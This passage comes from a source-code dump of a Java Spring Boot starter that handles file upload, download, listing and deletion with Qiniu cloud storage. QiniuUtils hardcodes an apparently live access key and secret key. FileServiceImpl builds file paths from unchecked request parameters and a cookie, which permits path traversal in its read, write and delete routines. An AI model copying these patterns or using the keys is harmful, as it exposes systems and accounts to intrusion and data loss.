    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/entity/SysFilesEntity.java",
    "content": "package io.github.wujun728.file.entity;\n\nimport com.baomidou.mybatisplus.annotation.FieldFill;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport com.fasterxml.jackson.annotation.JsonFormat;\n\nimport io.github.wujun728.common.base.BaseEntity;\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\n/**\n * 文件上传\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@EqualsAndHashCode(callSuper = true)\n@Data\n@TableName(\"sys_files\")\npublic class SysFilesEntity extends BaseEntity implements Serializable {\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(\"id\")\n    private String id;\n\n    /**\n     * URL地址\n     */\n    @TableField(\"url\")\n    private String url;\n\n    /**\n     * 创建时间\n     */\n    @TableField(value = \"create_date\", fill = FieldFill.INSERT)\n    @JsonFormat(pattern=\"yyyy-MM-dd HH:mm:ss\",timezone = \"GMT+8\")\n    private Date createDate;\n\n    @TableField(\"file_name\")\n    private String fileName;\n\n    @TableField(\"file_path\")\n    private String filePath;\n    \n    @TableField(\"dict_biztype\")\n    private String dictBiztype;\n    \n    @TableField(\"ref_bizid\")\n    private String refBizid;\n\n    /**\n     * 创建人\n     */\n    @TableField(value = \"creator\", fill = FieldFill.INSERT)\n    private String creator;\n\n    @TableField(\"file_size\")\n    private String fileSize;\n\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/mapper/SysFilesMapper.java",
    "content": "package io.github.wujun728.file.mapper;\n\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\nimport io.github.wujun728.file.entity.SysFilesEntity;\n\n/**\n * 文件上传 Mapper\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface SysFilesMapper extends BaseMapper<SysFilesEntity> {\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/service/FileService.java",
    "content": "package io.github.wujun728.file.service;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.UnsupportedEncodingException;\n\npublic interface FileService {\n    String uploadFile(HttpServletRequest request);\n    String fileList(HttpServletRequest request);\n    void fileDown(HttpServletRequest request,HttpServletResponse response) throws UnsupportedEncodingException;\n    String fileDel(HttpServletRequest request,HttpServletResponse response);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/service/SysFilesService.java",
    "content": "package io.github.wujun728.file.service;\n\nimport com.baomidou.mybatisplus.extension.service.IService;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.file.entity.SysFilesEntity;\n\nimport org.springframework.web.multipart.MultipartFile;\n\nimport java.io.File;\nimport java.util.List;\n\n/**\n * 文件上传 服务类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\npublic interface SysFilesService extends IService<SysFilesEntity> {\n\n    Result saveFile(MultipartFile file);\n\n    void removeByIdsAndFiles(List<String> ids);\n\n\tResult saveFile(MultipartFile file, String biztype, String bizid);\n\t\n    Result saveFile(File file, String biztype, String bizid);\n\n\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/service/impl/FileServiceImpl.java",
    "content": "package io.github.wujun728.file.service.impl;\n\nimport java.io.BufferedInputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.io.UnsupportedEncodingException;\nimport java.net.URLEncoder;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Calendar;\nimport java.util.HashMap;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.Cookie;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport cn.hutool.core.date.DateUtil;\nimport io.github.wujun728.file.config.FileProperties;\nimport io.github.wujun728.file.entity.SysFilesEntity;\nimport io.github.wujun728.file.mapper.SysFilesMapper;\nimport io.github.wujun728.file.service.FileService;\nimport io.github.wujun728.file.utils.QiniuUtils;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\nimport org.springframework.web.multipart.MultipartHttpServletRequest;\nimport org.springframework.web.util.WebUtils;\n\nimport com.alibaba.fastjson2.JSONObject;\n\nimport lombok.extern.slf4j.Slf4j;\n\n\n@Slf4j\n@Service\npublic class FileServiceImpl implements FileService {\n\n//    @Value(\"${filepath}\")\n    @Value(\"${file.path}\")\n    private String file_root;\n\n    @Resource\n    private FileProperties fileUploadProperties;\n\n    @Resource\n    SysFilesMapper sysFilesMapper;\n\n\n    @Override\n    public String uploadFile(HttpServletRequest request) {\n        String messagee = \"\";\n        MultipartHttpServletRequest multipartRequest = WebUtils.getNativeRequest(request, MultipartHttpServletRequest.class);\n        MultipartFile file = multipartRequest.getFile(\"file\");\n        String filename = multipartRequest.getFile(\"file\").getOriginalFilename();\n        String username = multipartRequest.getParameter(\"name\");\n        if(!username.equals(\"\")){\n            //完整的文件路径\n            File file1 = new File(file_root + username);\n            //文件路径不存在则刷新页面创建路径\n            if(!file1.exists()){\n                if(!file1.exists()){\n                \tfile1.mkdirs();\n                    log.info(\"用户:{}创建了文件夹{}\",username,file);\n                }\n                // messagee=\"请刷新再上传\";\n                \n            }\n            //文件是否存在\n            File file2 = new File(file_root + username+File.separator, filename);\n            if(file2.exists()){\n            \tmessagee = \"文件已存在，无需上传\";\n            }else {\n            \ttry{\n            \t\tfile.transferTo(file2);\n            \t\tlog.info(\"用户:{}上传文件{}成功\",username,filename);\n            \t\tmessagee = \"上传成功\";\n            \t} catch (IOException e) {\n            \t\tmessagee = \"上传失败\";\n            \t\tlog.info(\"用户:{}上传文件{}失败\",username,filename);\n            \t\te.printStackTrace();\n            \t}\n            }\n        }else {\n            Cookie[] cookies = request.getCookies();\n            String username1 = \"\";\n            if(cookies != null){\n                //找到cookie，作为文件上传路径\n                for (int i = 0; i <= cookies.length-1; i++) {\n                    if(cookies[i].getName().equals(\"Junior_file\")){\n                        username1 = cookies[i].getValue();\n                        break;\n                    }else {\n                        continue;\n                    }\n                }\n                File file1 = new File(file_root + username1);\n                if(!file1.exists()){\n                    messagee = \"请刷新再上传\";\n                }else {\n                    File file2 = new File(file_root + username1+File.separator, filename);\n                    if(file2.exists()){\n                        messagee = \"文件已存在，无需上传\";\n                    }else {\n                        try {\n                            file.transferTo(file2);\n\n                            saveSysFile(file2, filename,  file2.getAbsolutePath(),username,\"user\",username);\n                            messagee = \"上传成功\";\n                            log.info(\"临时用户上传文件{}成功\",filename);\n                        } catch (IOException e) {\n                            messagee = \"上传失败\";\n                            log.info(\"临时用户上传文件{}失败\",filename);\n                            e.printStackTrace();\n                        }\n                    }\n                }\n            }else {\n                messagee = \"请刷新再上传\";\n            }\n        }\n        return messagee;\n    }\n\n    private void saveSysFile(File file,String originalFilename,String newFilePathName, String username,String biztype,String bizid) throws IOException {\n        String createTime = DateUtil.now();\n        String newPath = fileUploadProperties.getPath() + createTime + File.separator;\n        File uploadDirectory = new File(newPath);\n        if (uploadDirectory.exists()) {\n            if (!uploadDirectory.isDirectory()) {\n                uploadDirectory.delete();\n            }\n        } else {\n            uploadDirectory.mkdir();\n        }\n        String fileName = originalFilename;\n        String fileNameNew = QiniuUtils.getFileNameByDate(username,fileName);\n        // QiniuUtils.uploadFile(file, fileNameNew);\n        String downUrl = QiniuUtils.uploadFileV2(file, fileNameNew);\n        String URL = QiniuUtils.domain + \"/\" + fileName;\n        String url = fileUploadProperties.getUrl() + \"/\" + createTime + \"/\" + fileNameNew;\n        String filesize = QiniuUtils.FormetFileSize(file.length());\n        this.saveFilesEntity(originalFilename, file.getAbsolutePath(),url,filesize,biztype, bizid);\n    }\n\n    private void saveFilesEntity(String fileName, String newFilePathName, String url,String filesize, String biztype, String bizid) {\n        SysFilesEntity entity = new SysFilesEntity();\n        entity.setFileName(fileName);\n        entity.setFilePath(newFilePathName);\n        entity.setUrl(url);\n        entity.setFileSize(filesize);\n        entity.setDictBiztype(biztype);\n        entity.setRefBizid(bizid);\n        sysFilesMapper.insert(entity);\n    }\n\n\n    //文件下载\n    @Override\n    public void fileDown(HttpServletRequest request,HttpServletResponse response) throws UnsupportedEncodingException {\n        String msg = \"\";\n        //获得文件名\n        String filename = request.getParameter(\"filename\");\n//        获得文件路径\n        String filepath = request.getParameter(\"name\");\n        if(!filepath.equals(\"\")){\n            File file = new File(file_root + filepath + File.separator+filename);\n            msg = fileDown(file, response, filename,filepath);\n        }else {\n            String filepath1 = getMyCookie(request);\n            File file = new File(file_root + filepath1 + File.separator + filename);\n            msg = fileDown(file, response, filename,filepath1);\n        }\n\n        System.out.println(msg);\n    }\n\n    //文件删除\n    @Override\n    public String fileDel(HttpServletRequest request,HttpServletResponse response) {\n        String msg  = \"\";\n        String filename = request.getParameter(\"filename\");\n        String path = request.getParameter(\"name\");\n        if(!path.equals(\"\")){\n            File file = new File(file_root + path + File.separator + filename);\n            msg = fileDelOpt(file);\n            log.info(\"用户{}删除文件{}成功\",path,filename);\n        }else {\n            String path1 = getMyCookie(request);\n            File file = new File(file_root + path1 + File.separator + filename);\n            msg = fileDelOpt(file);\n            log.info(\"临时用户删除文件{}成功\",path,filename);\n        }\n        return msg;\n    }\n\n    @Override\n    public String fileList(HttpServletRequest request) {\n        String message = \"\";\n        ArrayList<Object> list = new ArrayList<>();\n        String username = request.getParameter(\"name\");\n        if(!username.equals(\"\")){\n            //完整的文件路径\n            File file1 = new File(file_root + username);\n            //文件路径不存在则刷新页面创建路径\n            if(!file1.exists()){\n                message=\"文件错误\";\n            }else {\n                File[] files = file1.listFiles();\n                for (int i = 0; i <=files.length-1; i++) {\n                   HashMap<String, Object> map = new HashMap<>();\n                   map.put(\"filename\",files[i].getName());\n                   map.put(\"filetime\",getModifiedTime(files[i]));\n                   map.put(\"filesize\",String.valueOf((((float)Math.round((getFileSize(files[i])/1048576)*100))/100))+\" MB\");\n                   list.add(map);\n                }\n                message = \"文件存在\";\n            }\n        }else {\n            Cookie[] cookies = request.getCookies();\n            String username1 = \"\";\n            if(cookies != null){\n                //找到cookie，作为文件上传路径\n                for (int i = 0; i <= cookies.length-1; i++) {\n                    if(cookies[i].getName().equals(\"Junior_file\")){\n                        username1 = cookies[i].getValue();\n                        break;\n                    }else {\n                        continue;\n                    }\n                }\n                File file = new File(file_root + username1);\n                if(!file.exists()){\n                    message=\"文件错误\";\n                }else {\n                    File[] files = file.listFiles();\n                    for (int i = 0; i <=files.length-1; i++) {\n                        HashMap<String, Object> map = new HashMap<>();\n                        map.put(\"filename\",files[i].getName());\n                        map.put(\"filetime\",getModifiedTime(files[i]));\n                        map.put(\"filesize\",String.valueOf((((float)Math.round((getFileSize(files[i])/1048576)*100))/100))+\" MB\");\n                        list.add(map);\n                    }\n                    message = \"文件存在\";\n                }\n            }else {\n                message=\"文件错误\";\n            }\n        }\n        JSONObject jsonObject = new JSONObject();\n        jsonObject.put(\"message\",message);\n        if(message == \"文件存在\"){\n            jsonObject.put(\"code\",0);\n        }else {\n            jsonObject.put(\"code\",404);\n        }\n        jsonObject.put(\"data\",list);\n        String res = jsonObject.toJSONString();\n        return res;\n    }\n\n    //获取文件大小\n    private static float getFileSize(File f) {\n        InputStream fis = null;\n        try {\n            fis = new FileInputStream(f);\n            return fis.available();\n        } catch (Exception e) {\n            e.printStackTrace();\n        } finally {\n            if (fis != null) {\n                try {\n                    fis.close();\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n            }\n        }\n        return 0;\n    }\n\n    //获取文件创建时间\n    public static String getModifiedTime(File f){\n        Calendar cal = Calendar.getInstance();\n        long time = f.lastModified();\n        SimpleDateFormat formatter = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\n        cal.setTimeInMillis(time);\n        //输出：修改时间[2]    2009-08-17 10:32:38\n        return formatter.format(cal.getTime());\n    }\n\n    //获取cookie\n    public static String getMyCookie(HttpServletRequest request) {\n        String cookie = \"\";\n        Cookie[] cookies = request.getCookies();\n        if (cookies != null) {\n            //找到cookie，作为文件上传路径\n            for (int i = 0; i <= cookies.length - 1; i++) {\n                if (cookies[i].getName().equals(\"Junior_file\")) {\n                    cookie = cookies[i].getValue();\n                    break;\n                } else {\n                    continue;\n                }\n            }\n        }\n        return cookie;\n    }\n\n    //文件下载操作\n    public static String fileDown(File file,HttpServletResponse response,String filename,String filepath) throws UnsupportedEncodingException {\n        String msg = \"\";\n        if(file.exists()){\n            //设置响应体，响应头\n            response.setContentType(\"application/force-download;charset=UTF-8\");\n            //文件中含有逗号等，需要将文件名用引号包起来\n            response.addHeader(\"Content-Disposition\", \"attachment;fileName=\" + \"\\\"\"+ URLEncoder.encode(filename,\"utf-8\") +\"\\\"\");\n\n//            通过文件流下载\n            byte[] buffer = new byte[1024];\n            try (FileInputStream fis = new FileInputStream(file);\n                 BufferedInputStream bis = new BufferedInputStream(fis)) {\n                OutputStream os = response.getOutputStream();\n                int i = bis.read(buffer);\n                while (i != -1) {\n                    os.write(buffer, 0, i);\n                    i = bis.read(buffer);\n                }\n                log.info(\"用户:{}下载文件{}成功\",filepath,filename);\n                msg = \"下载成功\";\n            } catch (FileNotFoundException e) {\n                e.printStackTrace();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }else {\n            log.info(\"临时用户下载文件{}失败\",filename);\n            msg = \"下载失败\";\n        }\n        return msg;\n    }\n\n    //文件删除操作\n    public static String fileDelOpt(File file){\n        String msg = \"\";\n        if(file.exists()){\n            try {\n                file.delete();\n                msg = \"文件删除成功\";\n            }catch (Exception e){\n                e.printStackTrace();\n                msg = \"文件删除错误\";\n            }\n        }else {\n            msg = \"文件删除错误\";\n        }\n        return msg;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/service/impl/SysFilesServiceImpl.java",
    "content": "package io.github.wujun728.file.service.impl;\n\nimport java.io.File;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.UUID;\n\nimport javax.annotation.Resource;\n\nimport cn.hutool.core.date.DateUtil;\nimport cn.hutool.core.io.FileUtil;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.file.entity.SysFilesEntity;\nimport io.github.wujun728.file.mapper.SysFilesMapper;\nimport io.github.wujun728.file.utils.QiniuUtils;\nimport org.apache.commons.io.FileUtils;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.stereotype.Service;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport io.github.wujun728.file.config.FileProperties;\nimport io.github.wujun728.file.service.SysFilesService;\n\n/**\n * 文件上传 服务类\n *\n * @author wujun\n * @version V1.0\n * @date 2020年3月18日\n */\n@EnableConfigurationProperties(FileProperties.class)\n@Service(\"sysFilesService\")\npublic class SysFilesServiceImpl extends ServiceImpl<SysFilesMapper, SysFilesEntity> implements SysFilesService {\n    @Resource\n    private FileProperties fileUploadProperties;\n    \n    @Resource\n    private SysFilesMapper sysFilesMapper;\n    \n    @Override\n    public Result saveFile(MultipartFile file) {\n        //存储文件夹\n//        String createTime = DateUtils.format(new Date(), DateUtils.DATEPATTERN);\n        String createTime = DateUtil.now();\n        String newPath = fileUploadProperties.getPath() + createTime + File.separator;\n        File uploadDirectory = new File(newPath);\n        if (uploadDirectory.exists()) {\n            if (!uploadDirectory.isDirectory()) {\n                uploadDirectory.delete();\n            }\n        } else {\n            uploadDirectory.mkdir();\n        }\n        try {\n            String fileName = file.getOriginalFilename();\n            //id与filename保持一直，删除文件\n            String fileNameNew = UUID.randomUUID().toString().replace(\"-\", \"\") + getFileType(fileName);\n            String newFilePathName = newPath + fileNameNew;\n            String url = fileUploadProperties.getUrl() + \"/\" + createTime + \"/\" + fileNameNew;\n            //创建输出文件对象\n            File outFile = new File(newFilePathName);\n            //拷贝文件到输出文件对象\n            FileUtils.copyInputStreamToFile(file.getInputStream(), outFile);\n            //保存文件记录\n            saveFilesEntity(fileName, newFilePathName, url, \"filemanager\", \"\",\"\");\n            Map<String, String> resultMap = new HashMap<>();\n            resultMap.put(\"src\", url);\n            return Result.success(resultMap);\n        } catch (Exception e) {\n            throw new BusinessException(\"上传文件失败\");\n        }\n    }\n\n\n\tprivate void saveFilesEntity(String fileName, String newFilePathName, String url,String filesize, String biztype, String bizid) {\n\t\tSysFilesEntity entity = new SysFilesEntity();\n\t\tentity.setFileName(fileName);\n\t\tentity.setFilePath(newFilePathName);\n\t\tentity.setUrl(url);\n        entity.setFileSize(filesize);\n\t\tentity.setDictBiztype(biztype);\n\t\tentity.setRefBizid(bizid);\n\t\tthis.save(entity);\n\t}\n\n\n//\t@Override\n//\tpublic Result saveFile(MultipartFile file, String biztype, String bizid) {\n////        Map map = Maps.newHashMap();\n////        map.put(\"biztype\",biztype);\n////        map.put(\"bizid\", bizid);\n//\t\t//this.saveOssFile(file);\n//\t\treturn this.saveFile(file,biztype,bizid);\n//\t}\n\n//    @Override\n//    public Result saveFile(MultipartFile file, String biztype, String bizid) {\n//        mapTmp.set(ImmutableMap.builder().put(\"biztype\",biztype).put(\"bizid\", bizid).build());\n////\t\tthis.saveOssFile(file);\n//        return this.saveOssFile(file);\n//    }\n\n\n\n\n\n//    private static final ThreadLocal<Map<Object, Object>> mapTmp = new ThreadLocal();\n\n\n\n\n//    @Override\n//    @Deprecated\n//    public Result saveOssFile(MultipartFile file) {\n//        try {\n//            String fileName = file.getOriginalFilename();\n//            String fileNameNew = QiniuUtils.getFileNameByDate(fileName);\n//            QiniuUtils.uploadFile(file, fileNameNew);\n//            String URL = QiniuUtils.domain + \"/\" + fileName;\n//            String downUrl = QiniuUtils.downloadURL(fileNameNew);;\n//            //保存文件记录\n//            saveFilesEntity(fileNameNew, URL, downUrl, \"filemanager\", \"\");\n//            Map<String, String> resultMap = new HashMap<>();\n//            resultMap.put(\"src\", URL);\n//            return Result.success(resultMap);\n//        } catch (Exception e) {\n//            throw new BusinessException(\"上传文件失败\");\n//        }\n//    }\n\n\n    @Override\n    public Result saveFile(MultipartFile file, String bizType, String bizid) {\n        try {\n            String username = \"admin\";\n            String fileName = file.getOriginalFilename();\n            String fileNameNew = QiniuUtils.getFileNameByDate(username,fileName);\n//    \t\tQiniuUtils.uploadFile(file, fileNameNew);\n            String downUrl = QiniuUtils.uploadFileV2(file, fileNameNew);\n            String URL = QiniuUtils.domain + \"/\" + fileName;\n//    \t\tString downUrl = QiniuUtils.download(fileNameNew);;\n            //保存文件记录\n            saveFilesEntity(fileNameNew, downUrl, \"filemanager\", QiniuUtils.FormetFileSize(file.getSize()),bizType,bizid);\n            Map<String, String> resultMap = new HashMap<>();\n            resultMap.put(\"src\", downUrl);\n            return Result.success(resultMap);\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new BusinessException(\"上传文件失败\");\n        }\n    }\n    @Override\n    public Result saveFile(File file,String bizType,String bizid) {\n        try {\n            String username = \"sessionService.getCurrentUsername()\";\n            String fileName =  file.getName();\n            String fileNameNew = QiniuUtils.getFileNameByDate(username,fileName);\n//    \t\tQiniuUtils.uploadFile(file, fileNameNew);\n            String downUrl = QiniuUtils.uploadFileV2(file, fileNameNew);\n            String URL = QiniuUtils.domain + \"/\" + fileName;\n//    \t\tString downUrl = QiniuUtils.download(fileNameNew);;\n            //保存文件记录\n            saveFilesEntity(fileNameNew,  downUrl, \"filemanager\",\n                    QiniuUtils.FormetFileSize(FileUtil.size(file)),\"\",\"\");\n            Map<String, String> resultMap = new HashMap<>();\n            resultMap.put(\"src\", downUrl);\n            return Result.success(resultMap);\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new BusinessException(\"上传文件失败\");\n        }\n    }\n\n\n    @Override\n    public void removeByIdsAndFiles(List<String> ids) {\n        List<SysFilesEntity> list = this.listByIds(ids);\n        list.forEach(entity -> {\n            QiniuUtils.deleteFileFromQiniu(entity.getFileName());\n            //如果之前的文件存在，删除\n            File file = new File(entity.getFilePath());\n            if (file.exists()) {\n                file.delete();\n            }\n        });\n        this.removeByIds(ids);\n\n    }\n\n//    @Override\n//    public void removeByIdsAndFiles(List<String> ids) {\n//        List<SysFilesEntity> list = this.listByIds(ids);\n//        list.forEach(entity -> {\n//            //如果之前的文件存在，删除\n//            File file = new File(entity.getFilePath());\n//            if (file.exists()) {\n//                file.delete();\n//            }\n//        });\n//        this.removeByIds(ids);\n//\n//    }\n\n    /**\n     * 获取文件后缀名\n     *\n     * @param fileName 文件名\n     * @return 后缀名\n     */\n    private String getFileType(String fileName) {\n        if (fileName != null && fileName.contains(\".\")) {\n            return fileName.substring(fileName.lastIndexOf(\".\"));\n        }\n        return \"\";\n    }\n\n\n\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/utils/ExecuteResult.java",
    "content": "package io.github.wujun728.file.utils;\n\n\nimport java.io.Serializable;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Created by kzyuan on 2017/4/5.\n * 业务类执行结果包装类\n * @param <T>\n */\npublic class ExecuteResult<T> implements Serializable {\n    private static final long serialVersionUID = 7365417829056921958L;\n    /**\n     * 返回结果数据\n     */\n    private T result;\n    /**\n     * 成功提示消息\n     */\n    private String successMessage;\n    /**\n     * 普通的错误信息\n     */\n    private List<String> errorMessages = new ArrayList<String>();\n    /**\n     * 字段错误信息-以key-value的形式出现\n     */\n    private Map<String, String> fieldErrors = new HashMap<String, String>();\n    /**\n     * 警告信息\n     */\n    private List<String> warningMessages = new ArrayList<String>();\n\n    public String getSuccessMessage() {\n        return successMessage;\n    }\n    public void setSuccessMessage(String successMessage) {\n        this.successMessage = successMessage;\n    }\n    /**\n     * 判断当前执行结果是否正确，如果errorMessages和fieldErrors都为空，则无错\n     * @return\n     */\n    public boolean isSuccess() {\n        return errorMessages.isEmpty() && fieldErrors.isEmpty();\n    }\n    public T getResult() {\n        return result;\n    }\n    public void setResult(T result) {\n        this.result = result;\n    }\n    public List<String> getErrorMessages() {\n        return errorMessages;\n    }\n    public void setErrorMessages(List<String> errorMessages) {\n        this.errorMessages = errorMessages;\n    }\n    public Map<String, String> getFieldErrors() {\n        return fieldErrors;\n    }\n    public void setFieldErrors(Map<String, String> fieldErrors) {\n        this.fieldErrors = fieldErrors;\n    }\n    public List<String> getWarningMessages() {\n        return warningMessages;\n    }\n    public void setWarningMessages(List<String> warningMessages) {\n        this.warningMessages = warningMessages;\n    }\n    /**\n     * 添加一条错误消息到列表中\n     * @param errorMessage\n     */\n    public void addErrorMessage(String errorMessage) {\n        this.errorMessages.add(errorMessage);\n    }\n    /**\n     * 添加一条字段错误信息到列表中\n     * @param field 字段名称-key\n     * @param errorMessage 该字段对应的错误信息-value\n     */\n    public void addFieldError(String field, String errorMessage) {\n        this.fieldErrors.put(field, errorMessage);\n    }\n    /**\n     * 添加一条警告信息到列表中\n     * @param warningMessage\n     */\n    public void addWarningMessage(String warningMessage) {\n        this.warningMessages.add(warningMessage);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/utils/FileUtils.java",
    "content": "package io.github.wujun728.file.utils;\n\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\n\nimport org.apache.commons.fileupload.FileItem;\nimport org.apache.commons.fileupload.FileItemFactory;\nimport org.apache.commons.fileupload.disk.DiskFileItem;\nimport org.apache.commons.fileupload.disk.DiskFileItemFactory;\nimport org.apache.commons.io.FilenameUtils;\nimport org.springframework.web.multipart.MultipartFile;\nimport org.springframework.web.multipart.commons.CommonsMultipartFile;\n\npublic class FileUtils {\n\n    /**\n     * 判断文件是否存在，不存在就创建\n     * @param file\n     */\n    public static void createFile(File file) {\n        if (file.exists()) {\n            System.out.println(\"File exists\");\n        } else {\n            System.out.println(\"File not exists, create it ...\");\n            //getParentFile() 获取上级目录（包含文件名时无法直接创建目录的）\n            if (!file.getParentFile().exists()) {\n                System.out.println(\"not exists\");\n                //创建上级目录\n                file.getParentFile().mkdirs();\n            }\n            try {\n                //在上级目录里创建文件\n                file.createNewFile();\n            } catch (IOException e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\t\n\t//file 转换为 MultipartFile\n    private  MultipartFile getMulFileByFile(File file)\n    {\n        FileItemFactory factory = new DiskFileItemFactory(16, null);\n        String textFieldName = \"textField\";\n        int num = file.getAbsolutePath().lastIndexOf(\".\");\n        String extFile =FilenameUtils.getExtension(file.getAbsolutePath());// filePath.substring(num);\n        FileItem item = factory.createItem(textFieldName, \"text/plain\", true,\n                \"MyFileName\" + extFile);\n        File newfile = file;\n        int bytesRead = 0;\n        byte[] buffer = new byte[8192];\n        try\n        {\n            FileInputStream fis = new FileInputStream(newfile);\n            OutputStream os = item.getOutputStream();\n            while ((bytesRead = fis.read(buffer, 0, 8192))\n                    != -1)\n            {\n                os.write(buffer, 0, bytesRead);\n            }\n            os.close();\n            fis.close();\n        }\n        catch (IOException e)\n        {\n            e.printStackTrace();\n        }\n        MultipartFile mfile = new CommonsMultipartFile(item);\n        return mfile;\n \n    }\n\t\n\t//file 转换为 MultipartFile\n    private  MultipartFile getMulFileByPath(String filePath)\n    {\n        FileItemFactory factory = new DiskFileItemFactory(16, null);\n        String textFieldName = \"textField\";\n        int num = filePath.lastIndexOf(\".\");\n        String extFile = filePath.substring(num);\n        FileItem item = factory.createItem(textFieldName, \"text/plain\", true,\n                \"MyFileName\" + extFile);\n        File newfile = new File(filePath);\n        int bytesRead = 0;\n        byte[] buffer = new byte[8192];\n        try\n        {\n            FileInputStream fis = new FileInputStream(newfile);\n            OutputStream os = item.getOutputStream();\n            while ((bytesRead = fis.read(buffer, 0, 8192))\n                    != -1)\n            {\n                os.write(buffer, 0, bytesRead);\n            }\n            os.close();\n            fis.close();\n        }\n        catch (IOException e)\n        {\n            e.printStackTrace();\n        }\n \n        MultipartFile mfile = new CommonsMultipartFile(item);\n        return mfile;\n \n    }\n\n\n    /**\n     * MultipartFile 转换成File\n     *\n     * @param multfile 原文件类型\n     * @return File\n     * @throws IOException\n     */\n    public static File multipartToFile(MultipartFile multfile) {\n\n        CommonsMultipartFile cf = (CommonsMultipartFile)multfile;\n        //这个myfile是MultipartFile的\n        DiskFileItem fi = (DiskFileItem) cf.getFileItem();\n        File file = fi.getStoreLocation();\n        return file;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-oss-spring-boot-starter/src/main/java/io/github/wujun728/file/utils/QiniuUtils.java",
    "content": "package io.github.wujun728.file.utils;\n\nimport java.io.*;\nimport java.text.DecimalFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.UUID;\n\nimport org.apache.commons.io.IOUtils;\nimport org.json.JSONException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\nimport org.springframework.web.multipart.MultipartFile;\n\nimport com.qiniu.common.QiniuException;\nimport com.qiniu.common.Zone;\nimport com.qiniu.http.Response;\nimport com.qiniu.storage.BucketManager;\nimport com.qiniu.storage.Configuration;\nimport com.qiniu.storage.UploadManager;\nimport com.qiniu.util.Auth;\n\nimport lombok.extern.slf4j.Slf4j;\n\nimport javax.security.auth.message.AuthException;\n\n\n@Component\n@Slf4j\npublic class QiniuUtils {\n\n\tpublic static final String ACCESS_KEY = \"ts0n9OF16ekFkDkZTTlpmyPI-tP3HKQDyw_GR4o2\"; // 你的access_key\n\tpublic static final String SECRET_KEY = \"c-OjjwV3ZgzCQwxc6W_bsTFKuDg8qeyqohyJU0RL\"; // 你的secret_key\n\tpublic static final String BUCKET_NAME = \"qixing-files\"; // 你的bucket_name\n\tpublic static final String domain = \"http://qiniu.hbqxcpa.cn\"; // 你的bucket_name\n\tpublic static final long TOKEN_TIME = 3600 * 24 * 365 * 5; // 你的bucket_name\n\n\tpublic static void uploadFile(String filePath, String fileName) throws QiniuException {\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = Auth.create(QiniuUtils.ACCESS_KEY, QiniuUtils.SECRET_KEY);\n\t\tString token = auth.uploadToken(QiniuUtils.BUCKET_NAME);\n\t\tResponse r = uploadManager.put(filePath, fileName, token);\n\t\tif (r.isOK()) {\n\t\t\tlog.info(\"上传成功!\");\n\t\t\tlog.info(\"上传文件路径：\" + domain + r.url());\n\t\t} else {\n\t\t\tlog.info(\"上传失败!\");\n\t\t}\n\t\tSystem.out.println(token); // 输出上传凭证\n\t\tSystem.out.println(r.isOK()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.toString()); // 输出上传到七牛云之后的文件名称\n\t\tSystem.out.println(r.url()); // 输出上传到七牛云之后的文件名称\n\n\t}\n\n\tpublic static void uploadFile(File file, String fileName) throws QiniuException {\n\t\tcom.qiniu.storage.Configuration cfg = new Configuration();\n\t\tUploadManager uploadManager = new UploadManager(cfg);\n\t\tAuth auth = 